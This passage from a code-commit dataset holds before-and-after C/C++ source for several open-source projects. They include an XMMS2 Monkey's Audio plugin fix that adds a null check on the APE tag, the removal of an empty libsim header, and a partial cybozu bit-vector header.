});\n  GLFWwindow* m_window {};\n  InputCallbacks m_callbacks {};\n  OverlayPtr m_overlay {};\n};\n\n} \/\/ namespace Raz\n\n#endif \/\/ RAZ_WINDOW_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2013, Richard Martin\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the name of Richard Martin nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL RICHARD MARTIN BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#ifndef VectorSource_HEADER\n#define VectorSource_HEADER\n\n#include \"DataSource.hpp\"\n\nnamespace libsim \n{\n\n\n}\n\n#endif<commit_msg>Remove incorrect vector file<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*  XMMS2 - X Music Multiplexer System\n *  Copyright (C) 2003-2007 XMMS2 Team and Ma Xuan\n *\n *  PLUGINS ARE NOT CONSIDERED TO BE DERIVED WORK !!!\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#include <mac\/All.h>\n#include <mac\/MACLib.h>\n#include <mac\/APETag.h>\n#include <mac\/APEInfo.h>\n#include <mac\/CharacterHelper.h>\n\nextern \"C\" {\n\n#include \"source_adapter.h\"\n\n#include \"xmms\/xmms_log.h\"\n#include \"xmms\/xmms_xformplugin.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n\n\/*\n * Type Definitions\n *\/\ntypedef struct {\n\tguint start_time;\n\n\tIAPEDecompress *p_decompress;\n\n\tguint block_align;\n\tguint sample_rate;\n\tguint bits_per_sample;\n\tguint channels;\n} xmms_mac_data_t;\n\ntypedef enum { STRING, INTEGER } ptype;\ntypedef struct {\n\tconst gchar *vname;\n\tconst gchar *xname;\n\tptype type;\n} props;\n\nstatic const props properties[] = {\n\t{ \"title\",                XMMS_MEDIALIB_ENTRY_PROPERTY_TITLE,     STRING  },\n\t{ \"artist\",               XMMS_MEDIALIB_ENTRY_PROPERTY_ARTIST,    STRING  },\n\t{ \"album\",                XMMS_MEDIALIB_ENTRY_PROPERTY_ALBUM,     STRING  },\n\t{ \"tracknumber\",          XMMS_MEDIALIB_ENTRY_PROPERTY_TRACKNR,   INTEGER },\n\t{ \"date\",                 XMMS_MEDIALIB_ENTRY_PROPERTY_YEAR,      STRING  },\n\t{ \"year\",                 XMMS_MEDIALIB_ENTRY_PROPERTY_YEAR,      STRING  },\n\t{ \"genre\",                XMMS_MEDIALIB_ENTRY_PROPERTY_GENRE,     STRING  },\n\t{ \"comment\",              XMMS_MEDIALIB_ENTRY_PROPERTY_COMMENT,   STRING  },\n\t{ \"discnumber\",           XMMS_MEDIALIB_ENTRY_PROPERTY_PARTOFSET, INTEGER }\n};\n\n\/*\n * Function prototypes\n *\/\n\nstatic gboolean xmms_mac_plugin_setup (xmms_xform_plugin_t *xform_plugin);\n\nstatic void xmms_mac_destroy (xmms_xform_t *decoder);\nstatic gboolean xmms_mac_init (xmms_xform_t *decoder);\nstatic gint xmms_mac_read (xmms_xform_t *xform, xmms_sample_t *buf, gint len, xmms_error_t *err);\nstatic gint64 xmms_mac_seek (xmms_xform_t *xform, gint64 samples, xmms_xform_seek_mode_t whence, xmms_error_t *err);\n\nstatic void xmms_mac_get_media_info (xmms_xform_t *decoder);\n\n\/*\n * Plugin header\n *\/\n\nXMMS_XFORM_PLUGIN (\"mac\",\n                   \"Monkey's Audio\", XMMS_VERSION,\n                   \"Monkey's Audio Decoder\",\n                   xmms_mac_plugin_setup);\n\n}\n\nstatic gboolean\nxmms_mac_plugin_setup (xmms_xform_plugin_t *xform_plugin)\n{\n\txmms_xform_methods_t methods;\n\n\tXMMS_XFORM_METHODS_INIT (methods);\n\n\tmethods.init = xmms_mac_init;\n\tmethods.destroy = xmms_mac_destroy;\n\tmethods.read = xmms_mac_read;\n\tmethods.seek = xmms_mac_seek;\n\n\txmms_xform_plugin_methods_set (xform_plugin, &methods);\n\n\txmms_xform_plugin_indata_add (xform_plugin,\n\t                              XMMS_STREAM_TYPE_MIMETYPE,\n\t                              \"audio\/x-ape\",\n\t                              NULL);\n\n\txmms_magic_add (\"Monkey's Audio Magic\", \"audio\/x-ape\",\n\t                \"0 string MAC \", NULL);\n\n\treturn TRUE;\n}\n\nstatic gboolean\nxmms_mac_init (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\tgint start_block = -1, end_block = -1;\n\tgint err = 0;\n\tCAPEInfo *ape_info = NULL;\n\n\tXMMS_DBG (\"xmms_mac_init\");\n\n\tg_return_val_if_fail (xform, FALSE);\n\n\tdata = g_new0 (xmms_mac_data_t, 1);\n\n\txmms_xform_private_data_set (xform, data);\n\n\tCSourceAdapter *source_adapter = new CSourceAdapter (xform);\n\tape_info = new CAPEInfo (&err, source_adapter);\n\n\t\/*\n\t * Since we have to use a source adapter, so\n\t * using this function to create the decompressor is the only way.\n\t *\/\n\tdata->p_decompress = CreateIAPEDecompressEx2 (ape_info, start_block, end_block, &err);\n\n\tdata->block_align = data->p_decompress->GetInfo (APE_INFO_BLOCK_ALIGN);\n\tdata->sample_rate = data->p_decompress->GetInfo (APE_INFO_SAMPLE_RATE);\n\tdata->bits_per_sample = data->p_decompress->GetInfo (APE_INFO_BITS_PER_SAMPLE);\n\tdata->channels = data->p_decompress->GetInfo (APE_INFO_CHANNELS);\n\n\txmms_mac_get_media_info (xform);\n\n\txmms_xform_outdata_type_add (xform,\n\t                             XMMS_STREAM_TYPE_MIMETYPE,\n\t                             \"audio\/pcm\",\n\t                             XMMS_STREAM_TYPE_FMT_FORMAT,\n\t                             XMMS_SAMPLE_FORMAT_S16,\n\t                             XMMS_STREAM_TYPE_FMT_CHANNELS,\n\t                             data->channels,\n\t                             XMMS_STREAM_TYPE_FMT_SAMPLERATE,\n\t                             data->sample_rate,\n\t                             XMMS_STREAM_TYPE_END);\n\n\treturn TRUE;\n}\n\nstatic void\nxmms_mac_destroy (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\n\tXMMS_DBG (\"xmms_mac_destroy\");\n\tg_return_if_fail (xform);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\tg_return_if_fail (data);\n\n\tif (data->p_decompress) {\n\t\tdelete data->p_decompress;\n\t}\n\t\n\tg_free (data);\n}\n\nstatic void\nxmms_mac_get_media_info (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\txmms_error_t error;\n\n\tXMMS_DBG (\"xmms_mac_get_media_info\");\n\n\tg_return_if_fail (xform);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\n\txmms_error_reset (&error);\n\n\t\/* Meta information *\/\n\n\tCAPETag *p_ape_tag = (CAPETag *)(data->p_decompress->GetInfo (APE_INFO_TAG));\n\n\tBOOL bHasID3Tag = p_ape_tag->GetHasID3Tag ();\n\tBOOL bHasAPETag = p_ape_tag->GetHasAPETag ();\n\n\tif (bHasID3Tag || bHasAPETag) {\n\t\tCAPETagField * pTagField;\n\t\tint index = 0;\n\t\twhile ((pTagField = p_ape_tag->GetTagField (index)) != NULL) {\n\t\t\tindex ++;\n\n\t\t\tconst wchar_t *field_name;\n\t\t\tchar field_value[255];\n\n\t\t\tgchar *name;\n\n\t\t\tfield_name = pTagField->GetFieldName ();\n\t\t\tname = (gchar *)GetUTF8FromUTF16 (field_name);\n\n\t\t\tmemset (field_value, 0, 255);\n\t\t\tint size = 255;\n\t\t\tp_ape_tag->GetFieldString (field_name, (char *)field_value, &size, TRUE);\n\n\t\t\tguint i = 0;\n\t\t\tfor (i = 0; i < G_N_ELEMENTS (properties); i++) {\n\t\t\t\tif (g_strcasecmp (name, properties[i].vname) == 0) {\n\t\t\t\t\tif (properties[i].type == INTEGER) {\n\t\t\t\t\t\tgint tmp = strtol (field_value, NULL, 10);\n\t\t\t\t\t\txmms_xform_metadata_set_int (xform,\n\t\t\t\t\t\t                             properties[i].xname,\n\t\t\t\t\t\t                             tmp);\n\t\t\t\t\t} else {\n\t\t\t\t\t\txmms_xform_metadata_set_str (xform,\n\t\t\t\t\t\t                             properties[i].xname,\n\t\t\t\t\t\t                             field_value);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (i >= G_N_ELEMENTS (properties)) {\n\t\t\t\txmms_xform_metadata_set_str (xform, name, field_value);\n\t\t\t}\n\t\t\tg_free (name);\n\t\t}\n\t}\n\n\tgchar *name, *value, *metakey;\n\tgint filesize;\n\n\tmetakey = XMMS_MEDIALIB_ENTRY_PROPERTY_SIZE;\n\tif (xmms_xform_metadata_get_int (xform, metakey, &filesize)) {\n\t\tgint duration = data->p_decompress->GetInfo (APE_DECOMPRESS_LENGTH_MS);\n\t\tmetakey = XMMS_MEDIALIB_ENTRY_PROPERTY_DURATION;\n\t\txmms_xform_metadata_set_int (xform, metakey, duration);\n\t}\n\n\t\/* Technical Information *\/\n\n\t\/* APE Version *\/\n\tname = \"Version\";\n\tvalue = g_strdup_printf (\"%.2f\", (float) data->p_decompress->GetInfo (APE_INFO_FILE_VERSION) \/ float (1000));\n\txmms_xform_metadata_set_str (xform, name, value);\n\tg_free (value);\n\n\t\/* Compression Level *\/\n\tname = \"Compression Level\";\n\tswitch (data->p_decompress->GetInfo (APE_INFO_COMPRESSION_LEVEL)) {\n\tcase COMPRESSION_LEVEL_FAST:\n\t\tvalue = \"Fast\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_NORMAL:\n\t\tvalue = \"Normal\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_HIGH:\n\t\tvalue = \"High\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_EXTRA_HIGH:\n\t\tvalue = \"Extra High\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_INSANE:\n\t\tvalue = \"Insane\";\n\t\tbreak;\n\t}\n\txmms_xform_metadata_set_str (xform, name, value);\n\n\t\/* Format Flags *\/\n\tname = \"Flags\";\n\txmms_xform_metadata_set_int (xform, name, data->p_decompress->GetInfo (APE_INFO_FORMAT_FLAGS));\n\n\t\/* Average Bitrate *\/\n\txmms_xform_metadata_set_int (xform,\n\t                             XMMS_MEDIALIB_ENTRY_PROPERTY_BITRATE,\n\t                             data->p_decompress->GetInfo (APE_INFO_AVERAGE_BITRATE));\n}\n\nstatic gint\nxmms_mac_read (xmms_xform_t *xform, xmms_sample_t *buf, gint len, xmms_error_t *err)\n{\n\txmms_mac_data_t *data;\n\n\tint blocks_to_read = 0, actrual_read = 0;\n\tint nRetVal = 0;\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\n\tblocks_to_read = len \/ data->block_align;\n\n\tnRetVal = data->p_decompress->GetData ((gchar *)buf, blocks_to_read, &actrual_read);\n\n\treturn actrual_read * data->block_align;\n}\n\nstatic gint64\nxmms_mac_seek (xmms_xform_t *xform, gint64 samples, xmms_xform_seek_mode_t whence, xmms_error_t *err)\n{\n\txmms_mac_data_t *data;\n\tgint64 blocks;\n\t\n\tg_return_val_if_fail (xform, FALSE);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\tswitch (whence) {\n\tcase XMMS_XFORM_SEEK_CUR:\n\t\tblocks = data->p_decompress->GetInfo (APE_DECOMPRESS_CURRENT_BLOCK);\n\t\tblocks += samples;\n\t\tbreak;\n\tcase XMMS_XFORM_SEEK_SET:\n\t\tblocks = samples;\n\t\tbreak;\n\tcase XMMS_XFORM_SEEK_END:\n\t\tblocks = data->p_decompress->GetInfo (APE_DECOMPRESS_TOTAL_BLOCKS);\n\t\tblocks += samples;\n\t\tbreak;\n\t}\n\tdata->p_decompress->Seek (blocks);\n\n\treturn blocks;\n}\n\n<commit_msg>BUG(1778): Fix crash in mac plugin on files without ape tag<commit_after>\/*  XMMS2 - X Music Multiplexer System\n *  Copyright (C) 2003-2007 XMMS2 Team and Ma Xuan\n *\n *  PLUGINS ARE NOT CONSIDERED TO BE DERIVED WORK !!!\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#include <mac\/All.h>\n#include <mac\/MACLib.h>\n#include <mac\/APETag.h>\n#include <mac\/APEInfo.h>\n#include <mac\/CharacterHelper.h>\n\nextern \"C\" {\n\n#include \"source_adapter.h\"\n\n#include \"xmms\/xmms_log.h\"\n#include \"xmms\/xmms_xformplugin.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n\n\/*\n * Type Definitions\n *\/\ntypedef struct {\n\tguint start_time;\n\n\tIAPEDecompress *p_decompress;\n\n\tguint block_align;\n\tguint sample_rate;\n\tguint bits_per_sample;\n\tguint channels;\n} xmms_mac_data_t;\n\ntypedef enum { STRING, INTEGER } ptype;\ntypedef struct {\n\tconst gchar *vname;\n\tconst gchar *xname;\n\tptype type;\n} props;\n\nstatic const props properties[] = {\n\t{ \"title\",                XMMS_MEDIALIB_ENTRY_PROPERTY_TITLE,     STRING  },\n\t{ \"artist\",               XMMS_MEDIALIB_ENTRY_PROPERTY_ARTIST,    STRING  },\n\t{ \"album\",                XMMS_MEDIALIB_ENTRY_PROPERTY_ALBUM,     STRING  },\n\t{ \"tracknumber\",          XMMS_MEDIALIB_ENTRY_PROPERTY_TRACKNR,   INTEGER },\n\t{ \"date\",                 XMMS_MEDIALIB_ENTRY_PROPERTY_YEAR,      STRING  },\n\t{ \"year\",                 XMMS_MEDIALIB_ENTRY_PROPERTY_YEAR,      STRING  },\n\t{ \"genre\",                XMMS_MEDIALIB_ENTRY_PROPERTY_GENRE,     STRING  },\n\t{ \"comment\",              XMMS_MEDIALIB_ENTRY_PROPERTY_COMMENT,   STRING  },\n\t{ \"discnumber\",           XMMS_MEDIALIB_ENTRY_PROPERTY_PARTOFSET, INTEGER }\n};\n\n\/*\n * Function prototypes\n *\/\n\nstatic gboolean xmms_mac_plugin_setup (xmms_xform_plugin_t *xform_plugin);\n\nstatic void xmms_mac_destroy (xmms_xform_t *decoder);\nstatic gboolean xmms_mac_init (xmms_xform_t *decoder);\nstatic gint xmms_mac_read (xmms_xform_t *xform, xmms_sample_t *buf, gint len, xmms_error_t *err);\nstatic gint64 xmms_mac_seek (xmms_xform_t *xform, gint64 samples, xmms_xform_seek_mode_t whence, xmms_error_t *err);\n\nstatic void xmms_mac_get_media_info (xmms_xform_t *decoder);\n\n\/*\n * Plugin header\n *\/\n\nXMMS_XFORM_PLUGIN (\"mac\",\n                   \"Monkey's Audio\", XMMS_VERSION,\n                   \"Monkey's Audio Decoder\",\n                   xmms_mac_plugin_setup);\n\n}\n\nstatic gboolean\nxmms_mac_plugin_setup (xmms_xform_plugin_t *xform_plugin)\n{\n\txmms_xform_methods_t methods;\n\n\tXMMS_XFORM_METHODS_INIT (methods);\n\n\tmethods.init = xmms_mac_init;\n\tmethods.destroy = xmms_mac_destroy;\n\tmethods.read = xmms_mac_read;\n\tmethods.seek = xmms_mac_seek;\n\n\txmms_xform_plugin_methods_set (xform_plugin, &methods);\n\n\txmms_xform_plugin_indata_add (xform_plugin,\n\t                              XMMS_STREAM_TYPE_MIMETYPE,\n\t                              \"audio\/x-ape\",\n\t                              NULL);\n\n\txmms_magic_add (\"Monkey's Audio Magic\", \"audio\/x-ape\",\n\t                \"0 string MAC \", NULL);\n\n\treturn TRUE;\n}\n\nstatic gboolean\nxmms_mac_init (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\tgint start_block = -1, end_block = -1;\n\tgint err = 0;\n\tCAPEInfo *ape_info = NULL;\n\n\tXMMS_DBG (\"xmms_mac_init\");\n\n\tg_return_val_if_fail (xform, FALSE);\n\n\tdata = g_new0 (xmms_mac_data_t, 1);\n\n\txmms_xform_private_data_set (xform, data);\n\n\tCSourceAdapter *source_adapter = new CSourceAdapter (xform);\n\tape_info = new CAPEInfo (&err, source_adapter);\n\n\t\/*\n\t * Since we have to use a source adapter, so\n\t * using this function to create the decompressor is the only way.\n\t *\/\n\tdata->p_decompress = CreateIAPEDecompressEx2 (ape_info, start_block, end_block, &err);\n\n\tdata->block_align = data->p_decompress->GetInfo (APE_INFO_BLOCK_ALIGN);\n\tdata->sample_rate = data->p_decompress->GetInfo (APE_INFO_SAMPLE_RATE);\n\tdata->bits_per_sample = data->p_decompress->GetInfo (APE_INFO_BITS_PER_SAMPLE);\n\tdata->channels = data->p_decompress->GetInfo (APE_INFO_CHANNELS);\n\n\txmms_mac_get_media_info (xform);\n\n\txmms_xform_outdata_type_add (xform,\n\t                             XMMS_STREAM_TYPE_MIMETYPE,\n\t                             \"audio\/pcm\",\n\t                             XMMS_STREAM_TYPE_FMT_FORMAT,\n\t                             XMMS_SAMPLE_FORMAT_S16,\n\t                             XMMS_STREAM_TYPE_FMT_CHANNELS,\n\t                             data->channels,\n\t                             XMMS_STREAM_TYPE_FMT_SAMPLERATE,\n\t                             data->sample_rate,\n\t                             XMMS_STREAM_TYPE_END);\n\n\treturn TRUE;\n}\n\nstatic void\nxmms_mac_destroy (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\n\tXMMS_DBG (\"xmms_mac_destroy\");\n\tg_return_if_fail (xform);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\tg_return_if_fail (data);\n\n\tif (data->p_decompress) {\n\t\tdelete data->p_decompress;\n\t}\n\t\n\tg_free (data);\n}\n\nstatic void\nxmms_mac_get_media_info (xmms_xform_t *xform)\n{\n\txmms_mac_data_t *data;\n\txmms_error_t error;\n\n\tXMMS_DBG (\"xmms_mac_get_media_info\");\n\n\tg_return_if_fail (xform);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\n\txmms_error_reset (&error);\n\n\t\/* Meta information *\/\n\n\tCAPETag *p_ape_tag = (CAPETag *)(data->p_decompress->GetInfo (APE_INFO_TAG));\n\n\tif (p_ape_tag) {\n\t\tBOOL bHasID3Tag = p_ape_tag->GetHasID3Tag ();\n\t\tBOOL bHasAPETag = p_ape_tag->GetHasAPETag ();\n\n\t\tif (bHasID3Tag || bHasAPETag) {\n\t\t\tCAPETagField * pTagField;\n\t\t\tint index = 0;\n\t\t\twhile ((pTagField = p_ape_tag->GetTagField (index)) != NULL) {\n\t\t\t\tindex ++;\n\n\t\t\t\tconst wchar_t *field_name;\n\t\t\t\tchar field_value[255];\n\n\t\t\t\tgchar *name;\n\n\t\t\t\tfield_name = pTagField->GetFieldName ();\n\t\t\t\tname = (gchar *)GetUTF8FromUTF16 (field_name);\n\n\t\t\t\tmemset (field_value, 0, 255);\n\t\t\t\tint size = 255;\n\t\t\t\tp_ape_tag->GetFieldString (field_name, (char *)field_value, &size, TRUE);\n\n\t\t\t\tguint i = 0;\n\t\t\t\tfor (i = 0; i < G_N_ELEMENTS (properties); i++) {\n\t\t\t\t\tif (g_strcasecmp (name, properties[i].vname) == 0) {\n\t\t\t\t\t\tif (properties[i].type == INTEGER) {\n\t\t\t\t\t\t\tgint tmp = strtol (field_value, NULL, 10);\n\t\t\t\t\t\t\txmms_xform_metadata_set_int (xform,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t properties[i].xname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t tmp);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\txmms_xform_metadata_set_str (xform,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t properties[i].xname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t field_value);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (i >= G_N_ELEMENTS (properties)) {\n\t\t\t\t\txmms_xform_metadata_set_str (xform, name, field_value);\n\t\t\t\t}\n\t\t\t\tg_free (name);\n\t\t\t}\n\t\t}\n\t}\n\n\tgchar *name, *value, *metakey;\n\tgint filesize;\n\n\tmetakey = XMMS_MEDIALIB_ENTRY_PROPERTY_SIZE;\n\tif (xmms_xform_metadata_get_int (xform, metakey, &filesize)) {\n\t\tgint duration = data->p_decompress->GetInfo (APE_DECOMPRESS_LENGTH_MS);\n\t\tmetakey = XMMS_MEDIALIB_ENTRY_PROPERTY_DURATION;\n\t\txmms_xform_metadata_set_int (xform, metakey, duration);\n\t}\n\n\t\/* Technical Information *\/\n\n\t\/* APE Version *\/\n\tname = \"Version\";\n\tvalue = g_strdup_printf (\"%.2f\", (float) data->p_decompress->GetInfo (APE_INFO_FILE_VERSION) \/ float (1000));\n\txmms_xform_metadata_set_str (xform, name, value);\n\tg_free (value);\n\n\t\/* Compression Level *\/\n\tname = \"Compression Level\";\n\tswitch (data->p_decompress->GetInfo (APE_INFO_COMPRESSION_LEVEL)) {\n\tcase COMPRESSION_LEVEL_FAST:\n\t\tvalue = \"Fast\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_NORMAL:\n\t\tvalue = \"Normal\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_HIGH:\n\t\tvalue = \"High\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_EXTRA_HIGH:\n\t\tvalue = \"Extra High\";\n\t\tbreak;\n\tcase COMPRESSION_LEVEL_INSANE:\n\t\tvalue = \"Insane\";\n\t\tbreak;\n\t}\n\txmms_xform_metadata_set_str (xform, name, value);\n\n\t\/* Format Flags *\/\n\tname = \"Flags\";\n\txmms_xform_metadata_set_int (xform, name, data->p_decompress->GetInfo (APE_INFO_FORMAT_FLAGS));\n\n\t\/* Average Bitrate *\/\n\txmms_xform_metadata_set_int (xform,\n\t                             XMMS_MEDIALIB_ENTRY_PROPERTY_BITRATE,\n\t                             data->p_decompress->GetInfo (APE_INFO_AVERAGE_BITRATE));\n}\n\nstatic gint\nxmms_mac_read (xmms_xform_t *xform, xmms_sample_t *buf, gint len, xmms_error_t *err)\n{\n\txmms_mac_data_t *data;\n\n\tint blocks_to_read = 0, actrual_read = 0;\n\tint nRetVal = 0;\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\n\tblocks_to_read = len \/ data->block_align;\n\n\tnRetVal = data->p_decompress->GetData ((gchar *)buf, blocks_to_read, &actrual_read);\n\n\treturn actrual_read * data->block_align;\n}\n\nstatic gint64\nxmms_mac_seek (xmms_xform_t *xform, gint64 samples, xmms_xform_seek_mode_t whence, xmms_error_t *err)\n{\n\txmms_mac_data_t *data;\n\tgint64 blocks;\n\t\n\tg_return_val_if_fail (xform, FALSE);\n\n\tdata = (xmms_mac_data_t *)xmms_xform_private_data_get (xform);\n\tswitch (whence) {\n\tcase XMMS_XFORM_SEEK_CUR:\n\t\tblocks = data->p_decompress->GetInfo (APE_DECOMPRESS_CURRENT_BLOCK);\n\t\tblocks += samples;\n\t\tbreak;\n\tcase XMMS_XFORM_SEEK_SET:\n\t\tblocks = samples;\n\t\tbreak;\n\tcase XMMS_XFORM_SEEK_END:\n\t\tblocks = data->p_decompress->GetInfo (APE_DECOMPRESS_TOTAL_BLOCKS);\n\t\tblocks += samples;\n\t\tbreak;\n\t}\n\tdata->p_decompress->Seek (blocks);\n\n\treturn blocks;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/**\n\t@file\n\t@brief bit vector\n\t@author MITSUNARI Shigeo(@herumi)\n\t@license modified new BSD license\n\thttp:\/\/opensource.org\/licenses\/BSD-3-Clause\n*\/\n#include <cybozu\/exception.hpp>\n#include <algorithm>\n#include <vector>\n#include <assert.h>\n\nnamespace cybozu {\n\ntemplate<class T>\nsize_t RoundupBit(size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\treturn (bitLen + unitSize - 1) \/ unitSize;\n}\n\ntemplate<class T>\nT GetMaskBit(size_t bitLen)\n{\n\tassert(bitLen < sizeof(T) * 8);\n\treturn (T(1) << bitLen) - 1;\n}\n\ntemplate<class T>\nvoid SetBlockBit(T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tbuf[q] |= T(1) << r;\n}\ntemplate<class T>\nvoid ResetBlockBit(T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tbuf[q] &= ~(T(1) << r);\n}\ntemplate<class T>\nbool GetBlockBit(const T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\treturn (buf[q] & (T(1) << r)) != 0;\n}\n\ntemplate<class T>\nvoid CopyBit(T* dst, const T* src, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tfor (size_t i = 0; i < q; i++) dst[i] = src[i];\n\tif (r == 0) return;\n\tdst[q] = src[q] & GetMaskBit<T>(r);\n}\n\/*\n\tdst[] = (src[] << shift) | ext\n\t@param dst [out] dst[0..n)\n\t@param src [in] src[0..n)\n\t@param bitLen [in] length of src, dst\n\t@param shift [in] 0 <= shift < unitSize\n\t@param ext [in] or bit\n*\/\ntemplate<class T>\nT ShiftLeftBit(T* dst, const T* src, size_t bitLen, size_t shift, T ext = 0)\n{\n\tif (bitLen == 0) return 0;\n\tconst size_t unitSize = sizeof(T) * 8;\n\tif (shift >= unitSize) {\n\t\tthrow cybozu::Exception(\"ShiftLeftBit:large shift\") << shift;\n\t}\n\tconst size_t n = RoundupBit<T>(bitLen); \/\/ n >= 1 because bitLen > 0\n\tconst size_t r = bitLen % unitSize;\n\tconst T mask = r > 0 ? GetMaskBit<T>(r) : T(-1);\n\tif (shift == 0) {\n\t\tif (n == 1) {\n\t\t\tdst[0] = (src[0] & mask) | ext;\n\t\t} else {\n\t\t\tdst[n - 1] = src[n - 1] & mask;\n\t\t\tfor (size_t i = n - 2; i > 0; i--) {\n\t\t\t\tdst[i] = src[i];\n\t\t\t}\n\t\t\tdst[0] = src[0] | ext;\n\t\t}\n\t\treturn 0;\n\t}\n\tconst size_t revShift = unitSize - shift;\n\tT prev = src[n - 1] & mask;\n\tconst T ret = prev >> revShift;\n\tfor (size_t i = n - 1; i > 0; i--) {\n\t\tT v = src[i - 1];\n\t\tdst[i] = (prev << shift) | (v >> revShift);\n\t\tprev = v;\n\t}\n\tdst[0] = (prev << shift) | ext;\n\treturn ret;\n}\n\/*\n\tdst[] = src[] >> shift\n\t@param dst [out] dst[0..n)\n\t@param src [in] src[0..n)\n\t@param bitLen [in] length of src, dst\n\t@param shift [in] 0 <= shift < (sizeof(T) * 8)\n*\/\ntemplate<class T>\nvoid ShiftRightBit(T* dst, const T* src, size_t bitLen, size_t shift)\n{\n\tif (bitLen == 0) return;\n\tconst size_t unitSize = sizeof(T) * 8;\n\tif (shift >= unitSize) {\n\t\tthrow cybozu::Exception(\"ShiftRightBit:bad shift\") << shift;\n\t}\n\tif (shift == 0) {\n\t\tCopyBit<T>(dst, src, bitLen);\n\t\treturn;\n\t}\n\tconst size_t n = RoundupBit<T>(bitLen); \/\/ n >= 1 because bitLen > 0\n\tconst size_t r = bitLen % unitSize;\n\tconst T mask = r ? GetMaskBit<T>(r) : T(-1);\n\tconst size_t revShift = unitSize - shift;\n\tif (n == 1) {\n\t\tdst[0] = (src[0] & mask) >> shift;\n\t\treturn;\n\t}\n\tT prev = src[0];\n\tfor (size_t i = 0; i < n - 2; i++) {\n\t\tT v = src[i + 1];\n\t\tdst[i] = (prev >> shift) | (v << revShift);\n\t\tprev = v;\n\t}\n\t{ \/\/ i = n - 1\n\t\tT v = src[n - 1] & mask;\n\t\tdst[n - 2] = (prev >> shift) | (v << revShift);\n\t\tprev = v;\n\t}\n\tdst[n - 1] = prev >> 